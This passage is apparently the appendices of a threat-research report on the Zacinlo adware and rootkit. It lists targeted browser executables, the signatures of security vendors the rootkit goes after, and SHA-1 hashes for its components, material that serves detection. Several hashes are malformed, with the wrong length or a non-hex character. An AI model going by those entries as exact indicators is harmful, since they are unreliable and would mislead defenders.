| | \SBFRAME.EXE |
| Gameclub | \AEGIS.EXE |
| GamesBrowser | \GAMESBROWSER.EXE |
| GeSearch | \GESEARCH.EXE |
| GoSURF | \GOSURF.EXE |
| GreenBrowser | \GREENBROWSER.EXE |
| | \HXBROWSER.EXE |
| Internet Explorer | \IEEXPLORE.EXE |
| iQ Web Browser | \MYIQ.EXE |



| | |
|--------------------------------------|----------------------|
| | \JSY.EXE |
| Juzi | \JUZI.EXE |
| jwBrowser | \JWBROWSER.EXE |
| Kinoroom Browser | \KRBROWSER.EXE |
| Liebao | \LIEBAO.EXE |
| Luna / LunaShop / Luna Anticheat ??? | \LUNA.EXE |
| Maxthon | \MAXTHON.EXE |
| Microsoft Edge | \MICROSOFTEDGECP.EXE |
| Microsoft Edge | \MICROSOFTEDGE.EXE |
| | \MINIIE_2.EXE |
| MylE9 | \MYIE9.EXE |
| Netscape | \NETSCAPE.EXE |
| Opera | \OPERA\LAUNCHER.EXE |
| Opera | \OPERA.EXE |
| Packard Bell Browser | \PBBROWSER.EXE |
| Pale Moon Web Browser | \PALEMOON.EXE |
| QtWeb Internet Browser | \QTWEB.EXE |
| Rising Browser Application | \RSBROWSER.EXE |
| S3 Browser | \S3BROWSER-WIN32.EXE |
| SaaYaa | \SAAYAA.EXE |
| Safari | \SAFARI.EXE |
| SeaMonkey | \SEAMONKEY.EXE |
| Seemao | \SEEMAO.EXE |
| SogouExplorer | \SOGOUEXPLORER.EXE |
| SRWare Iron | \IRON.EXE |
| | \SRIE.EXE |
| Tango | \TANGO3.EXE |
| Taobrowser | \TAOBROWSER.EXE |
| Taomee Browser | \TAOMEEBROWSER.EXE |
| Tencent QQ | \QQBROWSER.EXE |
| Tencent Traveler | \TTRAVELER.EXE |
| Tencent WeChat | \WECHATWEB.EXE |
| TFYBrowser Web Browser | \TFYBROWSER.EXE |
| TheWorld | \THE WORLD .EXE |
| TheWorld | \THEWORLD.EXE |
| TheWorld Chrome | \TWCHROME.EXE |
| UC Browser | \UCBROWSER.EXE |
| Xbrowser | \XBROWSER.EXE |
| | \XTTBROWSER.EXE |



| | |
|-------------|------------------|
| Xplorer | \\XPLORER.EXE |
| YY Explorer | \\YYEXPLORER.EXE |
| AliBrowser | \\ALIBROWSER.EXE |

| Digital signatures targeted by rootkit | |
|---|---|
| Product | Digital signature |
| Adlice | Adlice |
| Auslogics | Auslogics Labs Pty Ltd |
| Avast | AVAST Software a.s. |
| | AVAST Software s.r.o. |
| AVG | AVG Technologies CZ, s.r.o. |
| Avira | Avira Operations GmbH & Co.KG |
| Kingsoft Security | Beijing Kingsoft Security software Co., Ltd |
| Beijing Rising Information Technology | Beijing Rising Information Technology Corporation Limited |
| Bitdefender | Bitdefender SRL |
| Bleeping Computer | Bleeping Computer, LLC. |
| Blue Coat Norway AS | Blue Coat Norway AS |
| BrightFort | BrightFort LLC |
| BullGuard | BullGuard Ltd |
| | BullGuard Ltd. |
| Byte Technologies | Byte Technologies LLC |
| Check Point Software Technologies | Check Point Software Technologies Ltd. |
| Comodo Security | Comodo Security Solutions |
| Computer Associates International | Computer Associates International |
| Datpol Janusz Siemienowicz | Datpol Janusz Siemienowicz |
| Doctor Web | Doctor Web Ltd. |
| Emsisoft | Emsisoft GmbH |
| | Emsisoft Ltd |
| Enigma Software | Enigma Software Group USA, LLC |
| ESET | ESET, spol.s r.o. |
| Filseclab Corporation | Filseclab Corporation |
| Fortinet Technologies | Fortinet Technologies |
| FRISK Software | FRISK Software International |
| G DATA | G DATA Software AG |
| Glarysoft | Glarysoft LTD |
| Gridinsoft | Gridinsoft, LLC |
| HuoRongBoRui (Beijing) Technology | HuoRongBoRui (Beijing) Technology Co.,Ltd |
| IKARUS Security Software | IKARUS Security Software GmbH |
| Immunet Corporation | Immunet Corporation |
| IObit Information Technology | IObit Information Technology |
| K7 Computing | K7 Computing Pvt Ltd |



| | |
|-------------------------------------|---|
| Kaspersky | Kaspersky Lab |
| Lavasoft | Lavasoft Limited |
| Lenovo | Lenovo |
| Malwarebytes Corporation | Malwarebytes Corporation |
| McAfee | McAfee, Inc. |
| NANO Security | NANO Security Ltd |
| Panda Security | Panda Security S.L |
| Piriform | Piriform Ltd |
| Plumbytes Software | Plumbytes Software Lp |
| Qihoo 360 Software(Beijing) Company | Qihoo 360 Software(Beijing) Company Limited |
| Quick Heal Technologies | Quick Heal Technologies(Pvt) Ltd. |
| Safer Networking | Safer Networking Ltd. |
| Sophos | Sophos Ltd |
| SUPERAntiSpyware | SUPERAntiSpyware.com |
| SurfRight | SurfRight B.V. |
| System Healer Tech | System Healer Tech Sp.Zo.o. |
| ThreatTrack Security | ThreatTrack Security, Inc. |
| Trend Micro | Trend Micro, Inc. |
| VIRUSBLOKADA | VIRUSBLOKADA ODO |
| Zemana | Zemana Ltd. |

Appendix 4: File Hashes

Bypass UAC

```

bea4957714266bfbfe481189d8623b37b4c4ecc1  aaf10b4c1b3c85c4e84ce16def15c428d648ee00  00c2f582016d4a2d2ff6798ba281f3947d62cf81
5cfd8e9af0dce1d3a73c5f4ca70230f6988d8fa  d0d61d541e2104e9761dc69fd5ca845d1105e777  2ab5e8f9f7eadf71add5e8840824fc7104ae26de
9eebeb60812e64fe74dcf2bb9779cb0b71d19d28  68a0208ea12250dea5689eedbe1fa4f1d967b7c6  b5f9b4e4275ff9201ba433bf4bbec402cbc67c6f
bb8c7571524bf29739f14e1e2597d016e867e8be  252ebce33995211cfff330a572f336848affcdce  490f2818d6fb14599828be62bc4b2f3aebc8ed1c
b124d11fda214467c1678335c9f5ef7c5e158b45  50ce0518d7ac70328bf11bd27e984f1991ec56ae  fd719f67bd121780c910b5e557dcd242fb327133
e1a2f64087bb181f26ed7ff982551713b7e198a8  b61091b759702c97f18240b393b31b328501e8a8  0e8932e616a9f4bd418caf02de41351ab9af272c
13d54571fa76eb1b9cd97959329c63d8f69c29dc  eb5f71f0746e111fc74e64ad4e754ca1d876d90e  e87df0917ca4f0ee44f49ecfcea9f65c3d307d5b
d4f0c85ccb120db0a8c4b9c57c9d652374e07107  bea0cd11f63c523abf62d980a2de857369738f3c

```



Earlier Payload

| | | |
|---|---|---|
| 400475991ecb3c5a314bd318d1b5355a8d7961ff | 0227ce7e45aa612f29f786dd71161c536f600126 | 2bea8ee9e0a3e7785f4cbf048595ce2ea88cfeb1 |
| 2021f2b3b28c628920415b2bd139873deac9d925 | 3c8ba8ef12f8e756a60c7ab749e21eee6e1577f1 | 1eb22698c95202f79158f163026bdf7b33474aa3 |
| 8c8c3bc2f545f709e5e9e81275fe012950de210d | 7be97ac27d08da41dd39e80c9229677a8b5e5077 | 646fb17af87e6faaff1815efee412c26d8e44f93a |
| cffde644597babb96546492c81e8fb84c806b2de | 8cccd99cb9dfbbaf825a42b75e075ff8f3191ef0 | 08b07a27bba11bb51e571d77a1adba7f2a6ddb84 |
| 01fed876d81ae8e1f0352ba81761ebf951af657d | 63cb4e4caea28e2c8f92b6c08a2191ce3f6ee3ee | 4d220a54c7da68b5e2bb777d0143a467bdec7e42 |
| 4af4e3792ec52f951b1879ed5deb9bfb61908365 | 9d31541155bc314c948aee0cd681cdf036db0c47 | 6719270260733d6f42b8b2088527646c4c27ff12 |
| 2cdf93f28c2310d33138e324cac387fab3819fa7 | cc51b40a659829052a381e09ed7d830cb96edaa5 | e3c0e0635d98ce14c1668cdf211c253306f3759f |
| 84f2ad2f2be41f9e938f9592372b9e781063cf3cd | a21fa3a2df5766de8aa71d6857e72566e97d42a7 | 479b7983968db8beb813600f0a779aa9d2baf5cb |
| 4793630fe9adc5e080761483f75fe33e010104fa | 82d66ed9f68fa859c03e2b41d4ea130bc2e51315 | 6d174bd6a61d564561335f61ad15065ccc8f3e4d |
| d43e3f496c201689029304c5683cbfc523f69632 | 02b98dd502dde65d32e15f1ba0ef385abfe02a63 | 68ae4672d314aef730143f0ebd8efe2a17127078 |
| d6fc19c59ebd566ea3d1b761b06aca54e107b99a | 016198871a322efe6d8bd911c50ad02505a7deed | e8127c2ed70849fa5369fcc247b46b3e0a51de3d |
| 61ba641ecf3a4fae485ed62219b2f4946bea532a | af6649b2324040d7bcb2bcccf8ba441d4d3a5b83 | d4becf9a12b5b7f7f4ed9727771a675e28bcf962 |
| 32b19d2d9cc8a7c6faa312865f8ee0f2b39b64cd | c7231a996b60d9c98510f9cfa6436d33a31b11df | c0486576fa602d189e69a8a67bf34d95068c96fb |
| ccb63a5bee084a291fcb45904d125d50c2c5592b | 9c21d2a3c2a06d056b3bc0a3c82cae8b7cf3485d | 3eb581fa4a70b3ae43f8e93a4ec188f72e62a0a |
| 93837788ce8180179faac1a76553dbc6fb6b0869 | 98515bd53e339356e931e3cc1ca0b08b63f436e8 | ee4611bf983fc134570d1613c7033c6a42fa5b0b |
| 9c2b0c6c84a9259a95087686e742a96b5b0b33a2 | b342304677b8c5a8fcdcb343b9fc26e1a1ad612b6 | 1de4a0825182e095a9c66a82479a8fffd7ee840e5 |

Updater

| | | |
|---|--|--|
| d48fbb2b8567a48e8a1974ccf7701a41e6ee922e | f6e60cb12ab7d61e0218ace7c6e33d8dfb56067c | a0bda40811e5421a543fd35d2f9d8c41643e18e2 |
| 7fe22d77b8a4806bb93e1c6d1c9a4d84ef3ef5f6 | cbf052b7ebcbe7108a14a520f519ad628ffd2c69 | 4207c3da0a0b18e622681b9a379d5bd1f34df1f2 |
| 2f600e1a9b9015eae5322d1d1d35fecb8b3b87d9 | 738db84b54c6379dcf1c689cf13ab9d444260310 | f1f18ad14d4ebe08218cf1545b1f65487ed4eb74 |
| b2dd2bebfb820e4072089a3672492e4b63449e2ff | d2d94d586cb0c47cde5f4b3594f6bfa62f17171b | d31bfc923d9e3b5bd7c7c657ded0337748986136 |
| 69473d0079173631acc5fd47f377224c7859d4c5 | eee720d364254d1ef8e499209975128125fd79e7 | 6532965684a587e275df801f329fc1b41cb412b4 |
| 496ce703d341ed0229c8031776f6726a45d375e3 | 528a8c2bb60d09e3dcd1e81d4a6b3c9d302b0701 | 0d00ef158d96698a923667e59e99739e019fb445 |
| 2e4c7ec62a327bdb171fee62decdf87868c962c9 | 923731222a868376ceadc62bac91e05b50555d5e | ee9630597d11a4cbbda903885d0b7ca930c70084 |
| | | e7e081bbcbdf05bcb1483051301f2315d44b78ae |

Service Component

| | | |
|--|--|--|
| 692aee2d53e80ba3b401e42a22dee851d9282161 | 3beb2df09db314091ed2f51ce8295a32d4181992 | 893e96bfe56980a46a8cae233f9f8a2952806b85 |
| | 229fde226eadbe717bd48c6fe2e827a9ee569ab5 | 87991d0837322d3269cba2f01c6846b688a0ee46 |

LUA Interpreter

| | | |
|--|--|--|
| c7abe781b6f01eb458c52670aaec140c746a118c | 8d61f971a181d52139ca9163edba0ec2cea10b80 | a5820dc0839ed4e08070c14650372e83bd6ae413 |
| ca4fc3f9b6d65ec71d7783cd11f09f5f3a2f7909 | 0d8cd32496a5e925ca43b109c147d71b766d5221 | aca27ac61efa023e4e86224afaea1343bb34de20 |
| b0545e221a295221699f26b644f08ecef804c7b4 | aac891729e5c3e8bf8412fc1d3b8193dd596d276 | 414dc73175ddf1f2bf7d6d7e5dd0ed7d52e8aebf |
| 4b9a1clfd1cbea5c592a035052270af286eb713 | 7d00e442939f28915001e40ec48b483c5f685ee2 | c0d086cd71d579ad4ef7d9b6d7e4b9e4a4769044 |
| fb241b99a05d29c581a2e35ed490c27a25c0b059 | eee60661783c2aa257ac7f42c89e853b5b2ba887 | 15512d697b10261f7a96cde5ffcc76f2de3b6d5e |



Dataup

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Setup Dropper

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Setup Downloader (old version)

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| b904f58d5bfd82d0778bdc9911f3b2193398e7cc | 3ab08863b085f9dc0f23b3b2e3887c868592bdf5 | a19a27833c38a69c5abcfb26c8df75d818fb1846 |
| f6c865d202892c82f4ead2e0df13e631d7e942dc | 7c8f1a97a7d5e9c067cecaa2c5f593f2b8163450 | 765bee31265c803494210e4f25d5037c46002f31 |
| fc07349234dd7d8c7bffb62f404297cda05b86dd | cf12a1713f2d103e46a6e80c43a063dc17417cb4 | 72383dc98c3d065dce2cde1cd43b9429ae858e4a |
| f88efeba6042cb90c1e43311d1ae9b9a8fb2990a | ee86c4ddf018ceb040bcd5c1f920de2d4d5f3775 | 5c4018497d9da58627f8135c8e6d5a56e87e9c56 |
| 385dd81c180265812ab07e8c2cca9c2cf0803f3d | ca7a568c69361e422d6196b1d742fe5c310e41e1 | 8e55aa8a61f01e4068a41d8880f20c1ea843846a |
| a2691775b2b330d7600d2f936b4793ec335d973f | 401446bc89d641da1e3b545a5a5af35f6882c8f2 | 75391db8c7ead630becdceb6e7f80a05501a515b |
| e1c9af4d4deffba12b48a3a60255cce4d4b40608b | e63d07c5ea064dee4a714e65f0745f439899be91 | c23e8f2e7756275887453f7bd733d8c1871a0441 |
| 0ea7a4b138f958c7572d9f35de458d68c142a252 | 21915434401608dfc00c25067138d4fa57a14e2 | c46921df74112bc3a59b98d3d7d759096ed86d80 |
| df9a63e0630482c174f353b28985cd1d36ba6849 | | |

Setup Downloader

| | | |
|--|--|--|
| 0047047202f0641d0c7a735115299d3b579c81d1 | 085e381cd97d49f7c0a8f0cae734b109efd1e9d | 4bf11ddeb9008821f3e322182d249a90e559e21d |
| a5aaf8ff70405aaef045f6c2c973eb65509506c8 | b4f3c28831e603ee3e88b54aefb89ebc9c12604f | 14fbabdf0e4b991a8484280675b75017a124648f |
| fdfaaa37463ee2671d52b45cb1d6728781731e51 | 2ffd288964104ca0d07fc7b1a9b14d890c433aa1 | 15d586afa2cc646cb81dbcd0881db9c7a940ca5 |
| 45f5885addb17114873064ba2a2ef720abc7a069 | ad52c2a0a2df06f2c1717e4aaadcb993a649db1b | 6188af2b1bd4a8afb5c6ac60b2cbb6d9597d5c4f |
| db647928ba90195fdf8b1648a84e3d85c891ada3 | ce8dd4c850f1d08d8b16b25412c13466a4a01384 | 2ca1a12f648d6fd8fc9b23a0718dfb9b535743df |

S5mark Application

| | | |
|--|--|--|
| 51960b69f4a7c96af835ec71057b86be945983ed | 5ee4ebf7e423e3e143cd286b048c04372c606bca | a3b68f42db720583aa9a8f704b172c944ad96627 |
| 4dabbcebc348eb9f6a79886d01e4ee270018f259 | 00caa31ec14bd478e70583f6f41c6a685629d9ee | 867515f594b589ac311508e7b5dc369ece04624a |
| | | 615f2e8e9a4bb7ba9d4eb06d11834060a741adc2 |

Component Updater

| | | |
|--|--|--|
| 8e5f75a73705645cf90a6d106b7b47f6f10c6306 | 67ae840849fd1e0d1c633b8d0631044f1626d665 | de4f8cf7fa797d981122626f78fc53a0f6aab1ac |
| 6cc1009b513be896900805b9a26a084c5755de5b | 658e507768b9aea230f3860c3490f3d3fa3d8aa0 | 9d364305dd485b6e58feaeacf693afe960ec21c |
| c4390715944cc12dca3c214539fd6701092dca24 | 323050022b6e95acc7ba38e8013d39536d6dd5c1 | 731446607c59fd60e88cf7f4ca45fdbcb755b123 |



Payload - Master

20c3bd82789b5adfd49dc04dde5ea063a403d8cd 24f62a5eeecbf83729359d674109ec17ad8bb9c9 d41c5f93f452afe60e59ace8ec9ab310edbff17c
d02b49317dd9b2f73aaf48cccf69655c5465b161 ca75b73fb17b07e4e84d49bb2fccba3ea0a40d88 f1ec5c6638357b676402e3893d302e61df60881d
5a77f1354f5bfbdb53b2433b7ad9a0478c0753703 1c5bfcfd68585a5b106a7be78a157d90a020e29d c53df8482ea17f1b5be247743bd593676cfd616c
a34f66738ddf8d15b61142756f55c24dfde8d7b5 6171999d53383c2f81ec2e990523ee868e255bc4 cec8d5754f1771b8b1c33f6cc7840c7a80e10e6c
4b7f925d3ae5cea98f056a8f303aa153ad33693f 2296aa9378ccb7385e89ca9ec1b2722d01d7b25c d66644139ca2827e5b2e58763d61b1f4ec182266
0430ec00189070270b3b14941f99cba7cfbae146 e53a99faa411a5cd361523614b11cf7829fbb2a3 7a0d70ef06881fe02a298fc319f0aad4dab43071
e785b297dc30fac0de0c0d5ca3c5b7022cfe3df6 804c194772489603eb322dee7d20f240aa0576e7 f9777ec32a1f020b83005f7cd843e9a3f1902760
21a6904db03afe63f42ba86e6f304dc331611036 da83d08fe5a9e8e8ec0deb86a1c950032edb21b5 3814b03a9a1be665be384b93d7243b9a27dc70b2
296cf2383cea29ec8c0bec1131f55bde877b0b51 4fcc220a173d38d007ce72c009ce612b519cdfcb 7655cb1f2bc0bd952d35ea4bf4de07a8815d58a9
a234368793006b5cc5a01d455b387623d61f9725 3efb2e7fe10f05f19614b375a234cce439803dc 9719dfd5056f13e9ce16f598b5845af783bef07b
30af133c5749176fdcdc0f76910e51349cf85d93 9c118063d7df166e79ec844932dc51f99888bd80 3bc9649aefae0104248b60540e04d32d57136a0
d06e676595865f4f99ca2d0423c8667cf1f05ee1 bb93369c16a1e63a5db04b17b76f80e4e954e0d5 71787d453b30948dc0916a2965d73aa4d9419fc5
f2b8cad5265a2e60feae4feaa84af8c5f1c889b 85601e4e900ab2f981d1fab2af33c0044f221466 06a6e10aad22ba3324e6c88804804171eae3ae48
32e2748e26417804afd6fe21dff08713ee80e915 f96b82f516fd8b9a0e152bceaa98a98b62c2afa1 9ff8864a7c1fea27c3995d2315fd688dba9967ce
f8299e07b3295fa919d88c1a5e385313a34ac354 1dc9ade5be722d192844697c0eea44be67ebb904 769a5f9174291b27bae323a6cc36deaff4fb7e19
cc673c01b642c798e561afc3cdcecd5e25aac59 d04c5e97ff0a04d0a97d4a9ce382d41a3d071a41 134e275366906eb7067c358e0daf4ecc909854ef
ee25a2e60abb88dacb2e0ec46376b3d24b0e6c6a 596a7f2d0d06b2e8bea838cd7d2f69b3a9203d75 c8d53aa5bcf2230ed4573e1fb2f4cab6b18e7871
27b2602a0fa13e526824d8291642315d25e67062 7a234651c5a791f6d19e939e8495aba52f91b014 dae28bdf026adcfc95a9a6dc3c6df84a10f762b
7d53bdbdf9f991caf40073f1baacd33fe935ad3b 0eeab87611403d4c2e690f6a523f5a2a5f0b6c79 76008eacf2eb0b86890b0f79c5fb067810eef959
101455633943a925aa4ea2b764626a8ae8019157 f96660e7e876edf11dc96da4eeef824ea1eb996b ab674750bc8c2bef68a3a89271c2d259d8b5c93f
d16e4c5d5554b9daf3f09473a9c9b7337424bac2 fc1a2e42de17fcfda485beb8d0909c78e86457a5 81655ee2ec248432088c66cdf9bb6c31ab9634ae
d49c7d6f4dd0de8e0c6f410f63538cdb68d417dc 665d82ecdffd8c8053d7d4fce5882b36a6f5a0bb6 95eb8e2a6ee4377bf64e29a217f580ccbce90fc8
d7b1af59b1336873da2d1cc36b87eb3c8d5bf986 9c8c07368ffc4dbf6958ef9ab251b451dc46458a a2618947c34d53720636ccbff7e46463dfd9d56a4
922602db83403a8d7b9c42c57861cf0252f17f2d 0055a356d0ca6e92ac7ebf6e1d41e51fd73f53fc bfcf775c624dd9efd98c67978ec3c92e924695d2
58cf9b98240650d95ebfce2ae5f3f6a0ad2cc61d 7a24bfe8116afd06defd482198f9381101284d4c e29c3ebfda07e53627723bad009b88d814be832b
25079c043efbc45358bfbbed2dff9e2e43c95b337 c9e834a6398593215a6841154e27642019bba157 ebfe5111e11a4de2123a94da9b7427ba6cc5b998
b1e7af02c91a81e021650c71a4ac8571615223b6 75511c8cb1864eb2988dfc1f56c8eea74f436fa5 470d71fce6708cff5cd2aa5387f5c2b8fdf6bafcd
bbcc2d0cb4fad7d1397536e6390ebe95208b19ad f098bf506c5b68fddc172755f10594c9204992021 8586dbb8bdf8b49b984db0283c5aef21b1f540a9
f5e129bb6564a6f269d8d6b15d268d3607bcbbde 13f7ecf111985b9667c352b1b09df0158f6de359 d3b93f6173a792ecca9d67bcb1c4d95647bcb2c
e409ecf1581380b982ac4c70a6594f52a44389fd 38a80ac023f5ccebcc1b1da4f3ebbf792575e89f 81c49e5e146bea78c6037247685df249c36a4144
284ac0ff34acc590a7e05338416b2d07aa75ef99 21341b2cc34c346feac24f48242b4adcca864d13 28cfbcbae3ff84789e14e429e0b2369f35288d1
161a56d93dacc34e32d8e8d382c0144db59c6698 11ac30ed65d9529c075214440440c7eb9cb1fd95 3c980e1dc662a358c609e3015bc8bbfcb7ad04d
b9e8e200d927896e1192a46313ea6f79f4d6273 db78214fe429c00b1d45d274c6ebd6a9550749e3 6456bd8573ff0ad2b46ab0a9587714fcb4c39ff7
e34dc96d545cd12f7eec172a2897c980919ac4ca 5cb639db2c37365987167f2c3f45b5b52ef061ee 28325d3c551085d8758f9c980c1a5cb455d02eac

Payload - Client

91778cae46b91ba7bd5439e5962351fea571fb74 4e9349ca64782f8042550c0d36c85ed425cc3097 2677db303b1eadaee5d879d002e1fd8228d6fadf
2d2bbbacfd72953b2498fb7dc09ecaab76ec11f b20973de738536064dc6f0712589cf4f714f6ed8 30ef7e2a083991af96bd12f0fa9eea06de0824a9
611751f42df8429793fdbc0544555ead4bdab22d 82bab56ef79c92f7bfa835f0063b25c8748e2d1d 9d0aaa5245b004b4ec220147c4c32618d2b9fed4
c41981f743ce45386a0c2ff49f4d0b963d6d86f0 7c07bb1875dd6ba638f29a0cfc40044f83f2bbd8 0dce24f7102a97136846a301a70f1abfbdaca8fc
96055210bf542c9cc2186ab0ba9848677bdcff61 58213dec017fbaf5e28fb675d48403744b18d3b1 92983e7f9d4af7bd86832cbe26cd74020686fca4
56fd5df0dc7dbd6784f8dc85befcf028915fe737



Adware Killer

| | | |
|--|--|--|
| 1edf084cefe9649ba420d88479cf253adb32011a | 477a9158a0de88176f027f7ecef1963b159e177d | b585781e72bec81946df1f75026853f88248d904 |
| 840335c2b3aaab0fce5ffde987238b272a47ba4d | 3f3b78dc9e22be3b9f8c859f879f12e0e2224223 | d01cdafaf035566139115dd4fde47d2fd2174be2 |
| 7d98d54260dfb150df222bf17ebbc88cd75da887 | 99c1dbc5674621eb1cb93f94c7b4e99cb90cba61 | e14e39836116033d7fe78b9bb11eb3283cc34cee |
| 1447d0afdd007a236fe764dc321fef9fff00d815 | 33da9c13ad433c7fd106d15ade17ba906b545cd9 | d00c1f2006d336660bd229ca052576de1e62bfec |
| e895bdbb12dd78545ebb01c3c37333370819099a | f38ce51502635b4359d414e7b0e3b16fe1d81582 | e319465f5932553161a2856d12175b7c16adbdd |
| | 59f2d249f9f856d5a037f27364561ce4aef7d54a | 633888a2060979909bcb8408517075dbbe6fabf8 |

Zacinlo

| | | |
|--|---|---|
| e02e27b620bfce03a8652febb72ae71828a77f89 | 2539a6bc56493e6bd20248584682175abe27ac5a | 55a5066fc178fb2d072a7975ed81940546504548 |
| 4cb92686978c54e3a412150d48e40b0ac14bdda2 | 840b7cdf59b26f05c53a8c28bda7d24a9f6ee1da | 9c54edccccfcf150ce618fdad6af0562b6c8a2c9c |
| e994f9d0d796f7f9199b8e38ff7866f8138537d6 | 72cae2699cdb1b0053bac61fd430720bef50e94a | d21acf00e755410993e5898d3f35e463523ac4df |
| 039c4dd6049008dc4041a304371b32c38694c3fd | a992521b232dd57d1f66a53ff3a77cb6271a5c68 | 7e620a6c297849377c330c4d6caa00e341efdc4 |
| 796f5111176ed05a86222db287c1517ccd1df5cc | 494f7acb4e1bdd76f6990ce642f435f6a64e7603 | 91700ba590c014d8ecf8096810f728552720c97c |
| b1651a759d0712510eef6350ca5a9e3de2c12207 | 9f0c5eef2730ca9ff9b4a5bb9a5c5db0512488b26 | a19904570e1b08ae4178a9e9831b2033124ecc99 |
| cef838b68f0c69c6d05696b90bd37577529a1c75 | 610a5c35f735618fb65b21752e33ae7f2a97e06d | b07db6d157b194a5a6425a75495dc432b3342d94 |
| a3a7e180e2d0e6f373ae5eb64be23f31039ff3af | 5af35b4206cc759ca9530ea9276a53a0fefb4c1f | 8d2f0306af6035425eea8e386d1534845c474224 |
| da28a92f263146053ea6b9e264edf02ca001a260 | d2817b5edf0d266c104d61240bd3230ecf941c54 | 776ea5bd36781158adc4c99a6278f3cf2e7b929f |
| 16ae170e046aa361f946019eba456ef2cc9d8a6f | e1e561b0ac20c05ceac45eb1f20314c7457a1a6d | b8684f14c6fdaedec257c91a568045372153af98 |
| bf3047545bcc32a5c26797dd6a554ffbd7b7fd3c | af3cbb022780758f81478bedda72e116a89248e4 | e3767e782aa2331c879f3681d709d467dec6dbd |
| e600a51a2b2dc8cd475eabccb69b0536f7218210 | 2d096ac724a7022665b2fd728f05e5d1816807bb | aa78a005604e829e0d7537d62835cf771de5adff |
| 8104925777797eabe8f0242d3cc0b21fba097b20 | 8bb9d2a64df948db5f8a30bdf1d8599e50ce6c9a | 75f43bf0c09569ee0883ab075e0a63d65742430d |
| b9ebdb703224821f9f8fe72f8725b4ab97d4465e | 96e9df0f02f256be907f180f32ac88a4e7cfc9a3 | fbdd393dca0c292130e0757a6ba299cdd37420d4 |
| 029220662e361567d9f1c10cf36e66c9cb3e83c5 | 71e86206e6fcbe37f9b49751ab083a0c0d0b0ec6 | 1b70774b4ff42edda5ed8ad6fda0f45eebe99289 |
| 39424f9e53b6b7186fffdad391a30ccbc8c47ac9 | 789d39856f2a17586e8fcd87ab992b60c21770db | 5f58054585463a7e79380a687698ad108e2902a8 |
| 8b6c39a489ce58c1eeda2741865f3fece5cb27d1 | 82f9a52ffbf5d3078a7b844f3bb739e01cf169cd | 974943f6676ee7102b53c4c330e318bfbdb6a7f5 |
| ce6864bb45dab2297991bc3fe3dfa8878575588e | 6857998ffbbfca0e81e477c07b308d83882899fe | 691d2977d2600f32d6bbf39da0ac0ba69e2da405 |
| 5485d6dda72bd19cb3ce859a530be38baa056c4d | 7cd4bb9002b65e857e1256fcd1fc0aa07a7ada88 | eb462c1da5dccc0c7e9e8575ad5d8ca5986ecbdb |
| 2f7b766768b86a27a82b768e777ab1413399711f | 8723b0f409165be03d7d324d8495a64b335dff13 | 348c94f5344b6fc062fdd1af591e49674cff970d |
| aafba469e818047b82a0779b040448a625f92eb4 | 5c5689a98af848a65da86e78b2e980e9f78a0781 | f68ce26fa623bc9fa9ab7f219cf7b384a8bb79b7 |
| df4274a5af3f13a0ac3690556536bb32926f0014 | b08007b1074b34adf70c0943a01f053693d1f02e | aadd6eb40b9ce8251aea2671e0aa5d92d89dc9a1 |
| f29860af0803d9ef7a370dc80b709b93f6d113db | 20cd43e6d049c726df7be14587c3441af3a8b970 | acf838637809a290d3912e2b55329c1bdd84e8d7 |
| c89c0b40953c9de07252be4588c2fac8cf6ed1ba | d5b958ea190e78df416692df1b1c81f2c7182cc6 | 538bad42efdf1f3abf0813552a02ea9ad5da3458 |
| 2b19eb0d653c58ad55adc510dadd221607da6d13 | 0dff90a0dafc1327b25a50c95c999dd09d2b7e76 | feb7c1b45a9e20623b917384d61bd455f6a1e081 |
| 2ef68e733617096fd861f32a1ea4cb91aa4d616e | 38a80ac023f5ccebcb1b1da4f3ebbf792575e89f | 2e8bd9a26f8e8a0d0ee052b5232943011bf43768 |
| | 4ca4aa9e7c01bf612ef7d1cbbbbb63b262b8ff6a7 | 8c0136eb08b9690654dec61bca090357d4661bb |

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